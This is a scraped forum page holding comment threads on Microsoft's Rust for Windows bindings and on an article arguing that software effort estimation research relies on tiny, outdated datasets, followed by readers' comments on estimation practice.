It's a call out to Windows libraries that long predate Rust, and they are implemented in (mostly) C++. They don't provide any of the safety features on any data structure you pass to it. I don't see how it could be anything other than unsafe.

steveklabnik(10000) 2 days ago [-]

Anything not defined in Rust needs to be marked as unsafe, because Rust cannot understand non-Rust code. FFI bindings are inherently unsafe.

roblabla(10000) 2 days ago [-]

I was curious how this worked: The previous iteration of this only worked for WinRT API, and this new crate seemed to also work by generating code from WinMD files. But WinMD files only contained definitions for WinRT/COM APIs, so how could this possibly work?

Well turns out, microsoft started a project to also generate Win32 API information in WinMD file, to generate APIs from them automatically for all native languages! See win32metadata[0]. This could make interfacing with win32 APIs a lot more convenient!

https://github.com/microsoft/win32metadata

ROARosen(10000) 2 days ago [-]

Does that meant it's compatible with any other language?

Arnavion(10000) 2 days ago [-]

So does this generator need access to the .winmd files at build time to be able to generate the bindings? Are they available for non-Windows builders?

g051051(10000) 2 days ago [-]
pjmlp(10000) 2 days ago [-]

P/Invoke, it never went away.

dalu(10000) 1 day ago [-]

Why would I ever write code on Windows if I don't have to because I'd be writing a Windows program?

Microsoft is anti freedom, anti developer.

Windows is only good for games. Real development happens on other platforms.

They bought github and turned it into something against the spirit of free software. First thing was to add deleting issues and comments.

Microsoft is evil. Always had been and if you trust them one bit you're a fool

simooooo(10000) about 16 hours ago [-]

"Why would I ever write code on Windows if I don't have to because I'd be writing a Windows program?"

That reads like a grammatical Infinite loop

Animats(10000) 2 days ago [-]

Will this work when cross-compiling from Linux? That's supported by Rust.

monocasa(10000) 2 days ago [-]

I don't see why not, the winapi crate is.

est31(10000) 2 days ago [-]

https://github.com/microsoft/windows-rs/issues/143#issuecomm...

> we could support this in future, but it is not an immediate goal. If this is something that folks would like to do, feel free to chime in on this issue and let us know.

Note that most of Microsoft regards Linux mainly as a server OS. You are not supposed to use it on the desktop, instead you should use Windows there.

Erlangen(10000) 2 days ago [-]

I kind of expect it to be called 'Windows for Rust'.

joshuaissac(10000) 2 days ago [-]

Or maybe 'Windows API for Rust'.

kaoD(10000) 2 days ago [-]

I thought your comment was a tongue-in-cheek reference to Windows Subsystem for Linux and then I clicked the link.

Ericson2314(10000) 2 days ago [-]

No more backwards than Windows Subsystem for Linux!

SloopJon(10000) 2 days ago [-]

I had the exact same thought. I almost didn't bother following the link, because Rust for Windows is already a thing, but this is essentially a Rust equivalent to C++/WinRT.

edko(10000) 2 days ago [-]

I wonder if this would allow using a WebView2 from Rust? I've searched the repository, but was not able to find it.

mwcampbell(10000) 2 days ago [-]

Kenny Kerr's blog post on this may also be of interest. In particular, it answers the question I was going to ask about how they're handling Win32 and WinRT in a unified way.

https://kennykerr.ca/2021/01/21/rust-for-windows/

jug(10000) 2 days ago [-]

I wonder if Rust is becoming Microsoft's way forward for development rather than C++ (i.e. Rust for Windows rather than C++ for Win32), leaving .NET for higher level development? The bold introduction in the blog post surprises me, coming from Microsoft themselves who're right now hard at work on these individual and ununified technologies.

mhh__(10000) 2 days ago [-]

D has fairly extensive windows API support, and the usual PE gubbins. Worth taking a look at

gabereiser(10000) 2 days ago [-]

Yes but the topic of discussion is rust here. D is awesome, but we are talking about the windows bindings for rust being "just good enough".

vlang1dot0(10000) 2 days ago [-]

Rust has had that for a long time as well. This is first-party support from Microsoft for Rust in contrast to community supported options like in D.

bluejekyll(10000) 2 days ago [-]

Are these D bindings relevant to Rust developers? Or asked another way, is there some reason that the D bindings would be better to use than these native ones in Rust?

mmastrac(10000) 2 days ago [-]

Sorry, I had to look up 'gubbins':

British : fish parings or refuse broadly : any bits and pieces; gadgets, gadgetry the gubbins for changing a tire all the navigational gubbins

type0(10000) 2 days ago [-]

Can we expect to get a better compilation time with this?

jynelson(10000) 2 days ago [-]

I'm helping work on the compile times :) https://github.com/microsoft/windows-rs/issues/420

seertaak(10000) 2 days ago [-]

This is really cool. Kudos to Microsoft for really getting open source lately. I wrote an app (which failed miserably) called zenaud.io . When I started writing the app, Apple was hands-down a better developer experience. Now, it's the exact opposite -- MacOS is increasingly painful, throwing up more and more roadblocks and constricting their platform ever more. And Visual Studio is better than Xcode IMO.

Also, as a C++/Python dev - it's increasingly hard not to notice the awesome momentum Rust has garnered.

blub(10000) 2 days ago [-]

Apple are throwing more roadblocks at least partly because developers are becoming more and more deplorable, trying to claw every penny they can by collecting and selling every bit of metadata (or even data) they can get their claws on. Microsoft aren't throwing similar roadblocks at least partly because they're one of the deplorables people need protection from.

All big software corporations use open source strategically: keep the core money-makers closed, release tooling and other trinkets for developers so that they do some free advertising for the company. They also release expensive-to-develop software for free to destroy competitors and expand their influence.

globular-toast(10000) 2 days ago [-]

And meanwhile, GNU/Linux continues to be better than both. I love developing on a system made by developers.

girvo(10000) 2 days ago [-]

I am an Apple/Linux diehard, but Visual Studio has always been superior to Xcode imho.

bezout(10000) 2 days ago [-]

OT: I must agree about your comparison of macOS and Windows. IMO Microsoft is doing a lot to improve the developer experience. WSL2 is so freaking good. It has its quirks and it has issues with some workflows, but I'm thinking about moving out of macOS after having tried it.

Apple may have the fastest processor, but Microsoft has the most comfortable tools. Both companies are not perfect, but if we must choose the lesser evil...

entropy1111(10000) 2 days ago [-]

>This is really cool. Kudos to Microsoft for really getting open source lately

If they get open source so much it means not open sourcing what really matters is intentional. And quite frankly getting rid of patents, their litigiousness and data collection. But I'm asking too much and I would settle for them to just stop suffocating competitors, innovation and stop with vendor lock in. Same deal for their competitors.

Anything that really matters is just like the same old MS you know. DirectX, Office, Xbox, everything SaaS, IDE, compilers, debuggers, language servers, file formats, UI frameworks, UI patents, GitHub, Windows, Server, you'll find examples in every area. Practices like buying or killing competitors like Vulkan related acquisitions. I get it they are a company and need to maximize profits, so it's cool.

Microsoft has so many quality projects and good people working for them, it's just so frustrating that it's still like this. This will only get worse as the exploitative behavior and business models of their competitors like Google force their hand to do the same.

me551ah(10000) 2 days ago [-]

I agree with you.

1. I run Arch Linux on windows vis WSL which provides pacman as a package manager. Pacman is way better than homebrew.

2. Docker runs much faster on windows compared to Mac.

3. My Mac will freeze up at times, while ctrl+alt+del always works on windows.

4. I am no longer limited to the crappy gpu options on Mac and can actually do gaming on my laptop.

nomel(10000) 2 days ago [-]

> throwing up more and more roadblocks and constricting their platform ever more

Do you have any specific examples? From my perspective as an app user, rather than developer, the restrictions they've put in place seem to be beneficial to me. I like sandboxed apps, absolutely love that I can tell an app to bugger off when it tries to access some folder that it has no business reading.

boogies(10000) 2 days ago [-]

What about GNU? It seems like most Windows-lusing devs use WSL2's Linux VM. What advantages does that have over keeping the MS OS's forced updates, BSODs, etc. in a VM, while keeping a free OS stably settled on bare metal?

I can imagine drivers, but if you stick to only Dell Developer Edition, Lenovo Linux-certified, Purism Librem, System76, or similar (still significantly wider selection than Apple s̶h̶e̶e̶p̶ fans seem satisfied with) hardware, things should work more smoothly than with Windows (drivers are built into the kernel and update with the OS).





Historical Discussions: Software effort estimation is mostly fake research (January 18, 2021: 780 points)

(780) Software effort estimation is mostly fake research

780 points 5 days ago by walterclifford in 10000th position

shape-of-code.coding-guidelines.com | Estimated reading time – 5 minutes | comments | anchor

Effort estimation is an important component of any project, software or otherwise. While effort estimation is something that everybody in industry is involved with on a regular basis, it is a niche topic in software engineering research. The problem is researcher attitude (e.g., they are unwilling to venture into the wilds of industry), which has stopped them acquiring the estimation data needed to build realistic models. A few intrepid people have risked an assault on their ego and talked to people in industry, the outcome has been, until very recently, a small collection of tiny estimation datasets.

In a research context the term effort estimation is actually a hang over from the 1970s; effort correction more accurately describes the behavior of most models since the 1990s. In the 1970s models took various quantities (e.g., estimated lines of code) and calculated an effort estimate. Later models have included an estimate as input to the model, producing a corrected estimate as output. For the sake of appearances I will use existing terminology.

Which effort estimation datasets do researchers tend to use?

A 2012 review of datasets used for effort estimation using machine learning between 1991-2010, found that the top three were: Desharnias with 24 papers (29%), COCOMO with 19 papers (23%) and ISBSG with 17. A 2019 review of datasets used for effort estimation using machine learning between 1991 and 2017, found the top three to be NASA with 17 papers (23%), the COCOMO data and ISBSG were joint second with 16 papers (21%), and Desharnais was third with 14. The 2012 review included more sources in its search than the 2019 review, and subjectively your author has noticed a greater use of the NASA dataset over the last five years or so.

How large are these datasets that have attracted so many research papers?

The NASA dataset contains 93 rows (that is not a typo, there is no power-of-ten missing), COCOMO 63 rows, Desharnais 81 rows, and ISBSG is licensed by the International Software Benchmarking Standards Group (academics can apply for a limited time use for research purposes, i.e., not pay the $3,000 annual subscription). The China dataset contains 499 rows, and is sometimes used (there is no mention of a supercomputer being required for this amount of data ;-).

Why are researchers involved in software effort estimation feeding tiny datasets from the 1980s-1990s into machine learning algorithms?

Grant money. Research projects are more likely to be funded if they use a trendy technique, and for the last decade machine learning has been the trendiest technique in software engineering research. What data is available to learn from? Those estimation datasets that were flogged to death in the 1990s using non-machine learning techniques, e.g., regression.

Use of machine learning also has the advantage of not needing to know anything about the details of estimating software effort. Everything can be reduced to a discussion of the machine learning algorithms, with performance judged by a chosen error metric. Nobody actually looks at the predicted estimates to discover that the models are essentially producing the same answer, e.g., one learner predicts 43 months, 2 weeks, 4 days, 6 hours, 47 minutes and 11 seconds, while a 'better' fitting one predicts 43 months, 2 weeks, 2 days, 6 hours, 27 minutes and 51 seconds.

How many ways are there to do machine learning on datasets containing less than 100 rows?

A paper from 2012 evaluated the possibilities using 9-learners times 10 data-prerocessing options (e.g., log transform or discretization) times 7-error estimation metrics giving 630 possible final models; they picked the top 10 performers.

This 2012 study has not stopped researchers continuing to twiddle away on the option's nobs available to them; anything to keep the paper mills running.

To quote the authors of one review paper: "Unfortunately, we found that very few papers (including most of our own) paid any attention at all to properties of the data set."

Agile techniques are widely used these days, and datasets from the 1990s are not applicable. What datasets do researchers use to build Agile effort estimation models?

A 2020 review of Agile development effort estimation found 73 papers. The most popular data set, containing 21 rows, was used by nine papers. Three papers used simulated data! At least some authors were going out and finding data, even if it contains fewer rows than the NASA dataset.

As researchers in business schools have shown, large datasets can be obtained from industry; ISBSG actively solicits data from industry and now has data on 9,500+ projects (as far as I can tell a small amount for each project, but that is still a lot of projects).

Are there any estimates on Github? Some Open source projects use JIRA, which includes support for making estimates. Some story point estimates can be found on Github, but the actuals are missing.

A handful of researchers have obtained and released estimation datasets containing thousands of rows, e.g., the SiP dataset contains 10,100 rows and the CESAW dataset contains over 40,000 rows. These datasets are generally ignored, perhaps because when presented with lots of real data researchers have no idea what to do with it.




All Comments: [-] | anchor

mr_tristan(10000) 5 days ago [-]

I wish as much attention was paid to perform post mortems regularly then to only do estimation. You know, actually look at 'hey, this is what we guessed and this is what actually happened'.

I've had to fight to actually hold post mortems, and every time I've done this, the manager ends up asking, 'hey, can I share this?'

So clearly, there's value, at least when we've done them.

I'm amazed at how few places even perform a complete feedback loop. It's just, 'when can you get this done?' and, 'is it done yet?'.

mr_tristan(10000) 5 days ago [-]

To tie this a bit more into the actual article: It might be even more accurate to just ask people in a post mortem for some feedback, instead of trying to build some data set based on estimates and SLOC. Like an exit poll.

jakubp(10000) 5 days ago [-]

If someone can conclusively teach inexperienced programmers good approach to estimates (methodology) + help embed this into sales process of a software house-type company, I know some folks who'd love to have this :)

My own experience has been this: people make estimates, client has expectations based on some variant of those, and something later happens but so much change is introduced during the actual software development, that there seems to be no sane way to compare what happened with original estimates. (new features, changed features, lots of new information, market shifts/product vision shifts, quality assumptions change, etc. etc.)

But at that point nobody cares! People go on with further projects, and no data is ever collected.

Nobody learns.

When f*ckups happen, i.e. a gross over- or under-estimate, this is often not shared with the broader organization (ashamed/afraid sales people/PMs/devs say nothing/hide it/sugarcoat it). Client walks away.

Sometimes project is severly underestimated but usually not just because of the software part. Again, no decoupling and estimation of contributing factors is done.

It's insane.

crispyambulance(10000) 5 days ago [-]

> ...nobody cares! > Nobody learns. > It's insane.

Estimation is really hard, especially if you're dealing with new challenges, new people, and new expectations. Throwing moving targets (unplanned changes) into the mix, as you noticed, makes estimation even more difficult.

The thing is, it very rarely is the case that a wrong estimate will sink a project. Things get delivered late all the time. No one dies. Most stakeholders aren't like two year olds throwing a tantrum because an unforeseen problem delays a deliverable by a few days (admittedly some are close).

The actual definition of failure also needs to be considered. Is it considered a failure because a project manager ended a colored gantt bar at a particular date and the actual time was longer? Or is it a failure because the customer cancelled the contract because a deliverable was not available on the agreed-upon date? Or is it something far more nebulous, like a slow death march towards a misguided goal that burns everyone out and compels them to sip artisanal coffee and daydream about leaving instead of grinding onwards and hitting targets?

Ultimately, people 'don't care' because accurate estimates are not the most critical problem on their mind. Most of the time an accurate answer to 'When will it [the deliverable] be done?' has about as much gravitas as guessing the number of jellybeans in a jar at a kid's birthday party.

Doing a retrospective and analyzing what went wrong when a project delivery slipped expectations is certainly reasonable but it so easily slips into a blame storm and/or people making commitments that aren't realistic. Getting straight answers from folks for this kind of analysis requires a level of psychological safety that just isn't present in most workplaces.

bcrosby95(10000) 5 days ago [-]

I think it's because inexperienced programmers don't think about the 'soft' costs of programming.

Requirements gathering, general communication, testing, production rollout, coordination, research, final approval - it all adds up. For a 2 week project you might only actually spend a day of ass-in-seat coding. And that ass-in-seat coding is what they tend to estimate.

durandal1(10000) 5 days ago [-]

Apple executes massive feature releases on a yearly waterfall-like schedule across hundreds of teams. It requires honesty, transparency, strong leadership (ruthless prioritization), strong cross-team goodwill, strong cross-team collaboration as well as a solid body of experienced top-tier engineers. Other than that there's no magic. While there are teams within apple that does scrum/agile, none of the core OS/frameworks teams does it AFAIK, and I do think it's incompatible with shipping on a hardware-aligned schedule.

scotty79(10000) 5 days ago [-]

Estimates don't give you the time when something will be done. You can just be almost sure that the thing will not be ready before this time. And that's still something.

wefarrell(10000) 5 days ago [-]

More important than estimating is knowing how to sequence the work. I often see teams try to build the entire DB schema first, or built the interface out one wire at a time. The agile approach of building small, vertical parts of each feature tends to work much better in my experience.

For example say you have a CRUD application with a page for editing and searching complex objects. Rather than building the entire search page with all of its filters, and then building the edit page with all of its fields, you build a simplified version of the search page with only a few filters and a simplified version of the edit page with fields that correspond to those filters. You also make sure the functionality integrates with the backend to form a cohesive, vertical feature that can go through QA, and possibly the client. Once that is working you expand the list of fields and filters.

This approach tends to surface design issues much faster, and is more adaptable to change requests from the client.

JamesSwift(10000) 5 days ago [-]

If someone can teach _any_ programmer how to estimate accurately they will literally print money. Its inherently a hard problem (I'd argue a siren song). To truly succeed you need to perform a massive stakeholder education on software development, hidden costs, and the highly dynamic nature of the beast.

Then you need to train the IT professionals to build the dynamic nature into the conversation and process. You dont quote a number, you give a range. You communicate confidence levels and uncertainty clearly and continuously. You update assumptions as new information comes available. You _push back_ when the uncertainty is frowned on.

It can be done successfully on a micro scale sure, by working on it within an organization and/or team. But its not scalable and its not a 5-step plan. Its hard.

1337shadow(10000) 5 days ago [-]

Make a complete list of things to develop in a spreadsheet, 'complete' means every single item the customer wants to see in the product, not only every single button but also every single label, that should be definable by reading the project specs or mockups. I think 'forgetting things' is the first big mistake leading to under estimations.

Add an estimate that you multiply by three in front of each, ie. if the dev thinks 1 hour then they should put 3. From my experiments: no multiplying factor turned to nightly and weekend work, multiplying by 2 turned to long (10 hours) work days, multiplying by 3 turned into comfortable work hours and quality work.

I've had success delivering quality code and respecting deadlines since 2012 or so with this system, but YMMV

Only problem: the customer might not like what he gets, even if it works exactly as planned.

sound1(10000) 5 days ago [-]

As long as humans are involved in defining requirements, inaccuracy of estimate will be proportional to the cusomters' incompetence and level of bad politics of the organisation as a whole ;-)

cmroanirgo(10000) 5 days ago [-]

The problem is knowing how fast they learn. For a n00b this is basically impossible, and takes cost monitoring to notice their rate of learning. For a person with the basics of the language that they'll be using, and a tiny bit of experience in the libraries they'll be using, things get easier.

For everyone (n00b to senior) I would always recommend designing & breaking things down into no smaller 1/2 day blocks, where nothing went longer than 3 days (for inexperienced), but longer for more experienced. Senior devs should be able to be able to be trusted (to be accurate) for week-long blocks.

Use a Gannt chart (ms project or similar) and monitor the inexperienced, gauging their real-life times with their estimates, adjusting accordingly. Give semi regular feedback at the accuracy so that they (& you, the manager) are working with.

In one of my companies, the most inaccurate we were for any project was that we were late 2 days over 2 years. Build on trust, build on meetings and other time sinks. Include testing, sign offs, etc.

So, absolute n00bs need close mentoring so that the (senior) mentor can begin to gauge the growth rate... Which will be steep... But different for everyone.

Zigurd(10000) 5 days ago [-]

The principles behind the Manifesto for Agile Software Development mention only retrospectives, not estimates. You could say they value learning over guessing.

When people ask me how can they learn, I tell them to find old project schedules and other project documents. Looking at past projects makes the learning more objective, and it is not happening under time pressure.

taeric(10000) 5 days ago [-]

My problem with this is all estimation is hard. Period. Quantitative discussions of something that has been done? Fairly easy, if still not accurate.

Discussing something that hasn't been rehearsed before? You can really only discuss how long you are willing to work on it. Not how long it will take to get done.

Fun examples. How long would it take you to clean out your fridge? How long would it take you to learn to play a song on piano?

perl4ever(10000) 5 days ago [-]

Estimation is hard if you are stuck in the mindset that you have to make a point estimate.

It's not hard at all if you are willing to be (and are allowed to be) honest about the uncertainty of the inputs and calculate the uncertainty of the final result based on that.

It's true that people may demand precision that you can't give them. But at the same time, you know something and it is simple to compute what you know.

It's like Fermi estimation, that everyone hates so much and claims is so useless to interview for.

edelans(10000) 5 days ago [-]

I like this analogy. But I was picturing myself asking my sales manager 'How long would it take you to learn to play a song on piano?', and I'm pretty sure he would reply 'but you touched a piano before, you are supposed to be a professional piano player ! A professional piano player surely knows how long it would take him to learn how to play a song'. So I guess he would miss the point totally :/

perl4ever(10000) 5 days ago [-]

I had access to information about historical projects, so I compared the actual amount of time taken to the estimated time at the beginning, for every software project in the history of my organization.

I found that on average, things take twice as long as expected.

So, I was like, now I know how to estimate any project. I figure out what seems reasonable based on known factors...and double it.

A way to look at this is the 'unknown unknowns' of anything empirically average to a 100% overshoot.

But this doesn't fly with the project managers I work with, because they can only see that as illegitimately padding an estimate.

commandlinefan(10000) 5 days ago [-]

Hofstatder's law: It always takes longer than you expect, even after accounting for Hofstatder's law.

djoldman(10000) 5 days ago [-]

>Those estimation datasets that were flogged to death in the 1990s using non-machine learning techniques, e.g., regression.

>...non-machine learning techniques, e.g., regression.

Is this where we are now? The connotation of 'machine learning' doesn't include regression? Wow.

disgruntledphd2(10000) 5 days ago [-]

They (almost certainly) mean linear regression, which many people appear to regard as statistics and boring, as opposed to single layer neural networks, which are cool.

To be fair, this is a pretty common perspective in computer science academia and adjacent fields (and probably occurs in a lot of fields where people don't focus on statistical learning..ahem I meant ML).

toolslive(10000) 5 days ago [-]

Hasn't anyone tried to replace time estimates with probabilities?

(Like 'There's a 80% chance we'll finish this today.' ) You immediately start to understand why it can take so much longer than expected (You've rolled a dice before; I want a six... How long will it take)

rightbyte(10000) 5 days ago [-]

I don't know if I am supposed to roll a 20 on a D20 or a 8 on a D8 to begin with.

Time estimation on a macro or micro level is just educated feelings.

The thing I notice with people that are forced to estimate time and have nagging managers is that they start to report time according to how much the task was estimated to, to make the burndown chart nice.

I.e. if one task is finished early a late running one gets the hours giving the illusion of getting better at estimating. I think Joel's estimation method for Frogbugz had the same fate linked in somewhere above.

BlargMcLarg(10000) 5 days ago [-]

I seriously don't understand the obsession with estimates in the paradigm it is pushed in. Want to be steady at a reliable pace, work for a few months and figure out the average and deviations. Need a priority on tasks, use a priority queue using whatever method you assign it by, often a combination of deadline, value added, complexity and more.

Yes, I get on a high level, one needs to be able to say 'yes we can make this before [date]', when using big deadlines. How often do people really have to finish something before a critical deadline or decide to drop it right then and there? I'd wager most software devs do not, let alone biweekly deadlines. Isn't agile methodology supposed to help us fight against artificially tight deadlines (customer collaboration)? Isn't the SaaS model combined with 'deploy any time' designed to be profitable in accordance to features implemented? Then, why push estimates so strongly in whatever flavor of the month Scrum version BigCorp wishes to use today? What do they even add at that point? If they are really so important, why do we always feel the need to introduce human error when we can extrapolate former experiences with computer models?

Maybe it is just me being cynical. The entire need to hold so fiercely onto an estimate reeks of micromanagement and desire to push responsibility entire onto the lower ranks.

Jweb_Guru(10000) 5 days ago [-]

That is absolutely what it is. For example, people are comparing favorably to how sales reps are now forced to record everything they do in something like Salesforce to try to prove they are productive, which by all accounts is pretty awful for the actual people doing the selling and doesn't actually improve sales--it just makes management feel like they're doing something.

captain_price7(10000) 5 days ago [-]

I have been involved in Software engineering research a bit, even have a first-author short paper. I was struck by just how much pointless, low-effort papers there are in this domain. People have been researching about bug prediction for over two decades now, and judging by the paper quantity, this isn't a niche area. Yet how many organizations do actually employ those systems in real-world? Can't comment on industry, but I haven't found a single open-source program that does that [1].

Now I know 'most papers are pointless' is a common complaint in science, specially in my area of focus- machine learning. But I can't shake the feeling that the situation is particularly worse in software engineering related academic research.

[1] I saw Mozilla attempt it, but not sure if it's currently in use.

randomsearch(10000) 5 days ago [-]

Couldn't agree more. Software engineering is a very practical, fast-moving subject, and that makes most academic work even more irrelevant - software engineering academics often don't have the first clue about what real software engineering is about, because they don't have recent industrial experience.

ThomPete(10000) 5 days ago [-]

In his book "Code Complete", Steven McConnel speaks about metaphors. He reasons that metaphors are necessary to be a good developer as it helps visualize the act of coding. The metaphor he prefers is the "construction" metaphor. This metaphor he argues best explain the act (some would say art) of programming and gives developers a language to speak in that brings clarity to the development process.

When in construction you prepare the building site, lay a foundation, frame the house, put siding and a roof on it, and plumb and wire it. This is equivalent to programming. In other words through the lens of the construction metaphor, the developer is someone who ultimately build someones house by working together with different disciplines (Architects, designers, contractors etc)

The problem with that metaphor IMO is that it's not actually what software development is.

The proper metaphor for software development is more 'engineering and development of construction site equipment and material' i.e. a developer is not building buildings they are building the things necessary for building the building.

And so the developer will often find themselves in a situation where the material doesn't exist and they have to invent it it or the material exist but we dont know how it's going to work with some other material needed or the equipment used for that material isn't made yet or doesn't work with that material even though it normally does.

I.e. a developer is inventing, engineering and building all at the same time and that is what makes it impossible to estimate development regardless of process or metaphor.

randomsearch(10000) 5 days ago [-]

The reality is that software development is nothing like engineering or construction, it's totally different. You don't build a quick house, let people live in it and start building the walls whilst they live there.

Humans like to think via metaphor because it's a least-effort mode of thought but sometimes there just isn't one and it's just tough luck and start thinking from first principles instead.

tootie(10000) 5 days ago [-]

Scrum dogma is that estimates are for complexity, not effort or timing. The points you track in JIRA are meant to reflect how much of the current backlog is complete and how much is remaining. That can be extrapolated into timing but can't be done up front.

Ecstatify(10000) 5 days ago [-]

Scrum has destroyed my organisation. It's like working with zombies.

How to turn your organisation into a cargo cult 101.

wccrawford(10000) 5 days ago [-]

My understanding is that for a team and project that's been going for a while, scrum points can be roughly turned into time estimates by looking at the history of stories that were rated for that many points and averaging.

But that obviously won't work from the start, and it won't be accurate... Just better than nothing and (hopefully) better than what a programmer will estimate in their head.

And IME, it's a lot less stressful on the programmer to estimate points rather than time.

dragonwriter(10000) 5 days ago [-]

> Scrum dogma is that estimates are for complexity, not effort or timing

The theory of story points (which originate outside of Scrum and are not part of Scrum proper) is that task-specific time estimates in creative intellectual work are extraordinarily unreliable and expending more effort on them doesn't improve them, but broad-banded complexity class evaluation mixed with empirical observation of the teams velocity produces time estimates that are (while still extremely fuzzy) both better and much lower effort, once you have the basic tracking in place, than task-specific direct estimates.

The "dogma" you report seems like something that might be a derivative of that that has lost track of rationale and purpose, reducing it to a cargo cult practice.

jakubp(10000) 5 days ago [-]

If it can't be done upfront it's largely useless for business folks ('so you have an estimate but can't translate it into time? so why do it? go away' :).

If it assumes remaining work is equivalent in time to done work (notion of velocity), it's (in my view) very optimistic. People learn the nature of the beast as time progresses. Collective learning happens slowly. A lot of important work is usually only discovered and planned in the second half of the actual (not original) timeline. A lot of important stakeholders are naturally only introduced into projects close to its finalization, which creates a flurry of new activity and discoveries. This makes projects late.

But where that real halftime is - most people I worked with rarely know. I was no better, I also rarely knew.

The only way to manage this I found was the basic rule: build, demo, decide what to do next. Don't get attached to original backlog and grand plans for the future. It won't work that way. Just build and make it work, launch ASAP, get decisions on a ~weekly basis done. Ignore long term planning. It's not helpful.

Sadly, few business folks want that of course :)

SKILNER(10000) 5 days ago [-]

Not only do we not know how to predict how long a software project will take, we don't even know how to predict what the end product will look like.

So who are we kidding?

Another way to look at it: take a small one-person project and assign it to three different developers. You may get wildly different results. How could you have predicted those differences in advance? Let alone apply that type of prediction across a large team.

About a dozen years ago I gave a presentation to the Silicon Valley Software Process Improvement Network (does it still exist?) My presentation: 'Unsolved Problems of Software Maintenance.' You think predicting greenfield development is difficult? Try predicting maintenance work, where figuring out what to do can be more than half the work.

xpe(10000) 5 days ago [-]

Excellent point.

Can you share your presentation or at least some of your thinking behind it?

Based on what you know, how do you frame this problem? Imagine you had an impressionable audience of 10,000 software professionals (C-level people, managers, developers, UX people, customer support, and so on).

meesles(10000) 5 days ago [-]

It's unfortunate that this HN thread has been reduced to the generic discussion about software estimates when the article is specifically talking about research done on the topic of software estimates.

According to the article, proper research remains a struggle due to outdated datasets from before modern agile methodologies, and that the modern datasets from industry are hard if not impossible to gather.

If industry is truly interested in improving software development and estimation, their data should be anonymized and made available to researchers for analysis.

robertlagrant(10000) 5 days ago [-]

What data would be useful here? There are so many confounding factors.

csours(10000) 5 days ago [-]

I could imagine getting data from tools like Jira, but there is so little consistency on how data is entered and updated, I would have a hard time swallowing any conclusions from that data.

parentheses(10000) 5 days ago [-]

The issue here is that if you examine most projects today, it requires effort to collect data about what happened. So much that happens is untracked. That untracked stuff is a source of error.

froh(10000) 5 days ago [-]

> How large are these datasets that have attracted so many research papers?

> The NASA dataset contains 93 rows (that is not a typo, there is no power-of-ten missing), COCOMO 63 rows, Desharnais 81 rows, and ISBSG is licensed by the International Software Benchmarking Standards Group (academics can apply for a limited time use for research purposes, i.e., not pay the $3,000 annual subscription). The China dataset contains 499 rows, and is sometimes used (there is no mention of a supercomputer being required for this amount of data ;-).

> Why are researchers involved in software effort estimation feeding tiny datasets from the 1980s-1990s into machine learning algorithms?

> Grant money. Research projects are more likely to be funded if they use a trendy technique, and for the last decade machine learning has been the trendiest technique in software engineering research. What data is available to learn from? Those estimation datasets that were flogged to death in the 1990s using non-machine learning techniques, e.g., regression.

Is this telling me that most theories about 'sw estimation best practices' are cargo cults o-O ?

jVinc(10000) 5 days ago [-]

I imagine that if Atlassian could get permission from its many JIRA customers, then doing a text-based ml-categorization of issue descriptions alongside completion times would be extremely interesting.

I'd wager that data is just as poor overall, but the sheer volume of data available might be able to help get some sort of consistent conclusions from them.

nautilus12(10000) 5 days ago [-]

Dont be so hard on HN, I would say given how niche the actual article topic is, the more generic discussion about software estimation is both relevant and relatable.

randomsearch(10000) 5 days ago [-]

I'd say the problem is more from the academic side. If good data isn't available, then academics should not be publishing papers on toy data. It's meaningless. The goal is not to publish papers but to advance science.

snidane(10000) 5 days ago [-]

Software development which is a repeatable and already defined process is totally possible to predict and estimate. Most tasks of repeatable processes follow normal distribution and is predictable. Deviations from expected mean will be due to predictable factors of the environment such as failed disk or sleepy programmer. You can apply arbitrary six sigma methodology to measure such process with accuracy.

The problem in software though is that such a repeatable process would be immediately automated away by writing a function, library, framework or any such tools that programmers use on a daily basis without much thinking. Unlike in building construction, to which programming discipline is often wrongly likened to, where construction companies simply cannot 'write a function' to deploy cookie cutter houses or bridges one after another.

Therefore software engineering is never a repeatable process, unless crappy tools are used, which don't allow for sufficient abstraction of repeatable parts.

Tasks in software disciplines therefore don't follow a normal distribution. They follow exponential distribution most often. Most issues go unnoticed. Majority are just so tiny and ofthen considered business as usual. Every time you get stuck and have to look up a solution in docs or stackoverflow technically is an issue, but never gets reported in an issue tracker for its triviality. There are however issues which are orders of magnitude larger than what management expects when they occassionally sampling issue trackers. Some issues lead to critical design flaws which could need a full blown rewrite for example, or ever lasting and expensive hackery in case the executive decision is to work around the critical design flaw. These issues can take years to accomplish or take massive amount of pain endurance.

Trying to estimate a process with such exponential distribution and making sense of averages or other statistics of such distribution is borderline insanity.

Why not just go to physics department and ask when the next Theory of Relativity will be invented and how much budget and story points those guys need.

k__(10000) 5 days ago [-]

'a repeatable process would be immediately automated away by writing a function, library, framework or any such tools'

This is the crucial point here.

Source code is a (almost) self-assembling blueprint.

The actual product that will be build is the software and software is a configuration of matter, in this case of a computer.

The source code/blueprint for a house is not self-assembling. Compiling such a blueprint requires you to configure the building materials in a way that they become a house.

With better robotics, we will probably get there at some point in the future.

And with software we will always be in a place where you either do new stuff the first time manually or with crappy tools the 100th time.

Aldipower(10000) 5 days ago [-]

I am 20 years in development business now. This simple rule of thumb works for me and the team: (Your honest and concise estimation) * 3

There are just to many unknowns you cannot foresee. Software development is complex.

nikolaj(10000) 5 days ago [-]

same experience level, similar formula. Take your gut estimate, double it, double that new value, then add another 'increment'.

e.g. say you think it will take a day, so 2 days, 4 days, add another day, likely estimate is 5 days.

My pet theory is that when we estimate, we typically think of how long it will take to figure out a working solution to the problem, but forget about how long it takes to debug it, add tests, rework for changed requirements and unexpected nuances, and then roll it out and do any training, etc.

elwell(10000) 5 days ago [-]

That's a recursive definition (estimate * 3) = ((estimate * 3) * 3) = (((estimate * 3) * 3) * 3)... But if you do that for a few years, 'your honest and concise estimation' starts to grow because you've seen how it usually takes longer than expected, and your coefficient can approach 1.

matwood(10000) 5 days ago [-]

I use a similar methodology.

The part you didn't mention is that for most businesses it's better to be over than under in the estimation. I also explain this thought process to the various stake holders. We can certainly try to tighten up an estimate, but that runs a higher risk of being under which is usually a worse outcome (promised launch dates are missed, marketing is missed/happening, customers are told, etc...).

kilroy123(10000) 5 days ago [-]

I couldn't agree more. This is what I do.

OneGuy123(10000) 5 days ago [-]

This, the famous 'prediction* Pi' rule seems to be correct also in my experience.

I make the most optimistic prediction and then * PI.

TehShrike(10000) 5 days ago [-]

I multiply by 4. Specifically, giving estimates on when features will be deployed/usable by end users.

curiousllama(10000) 5 days ago [-]

I've been hearing this rule for years now, and I think the coefficient is increasing. It started at 1.5x, now it's at 3x... Is this just me?

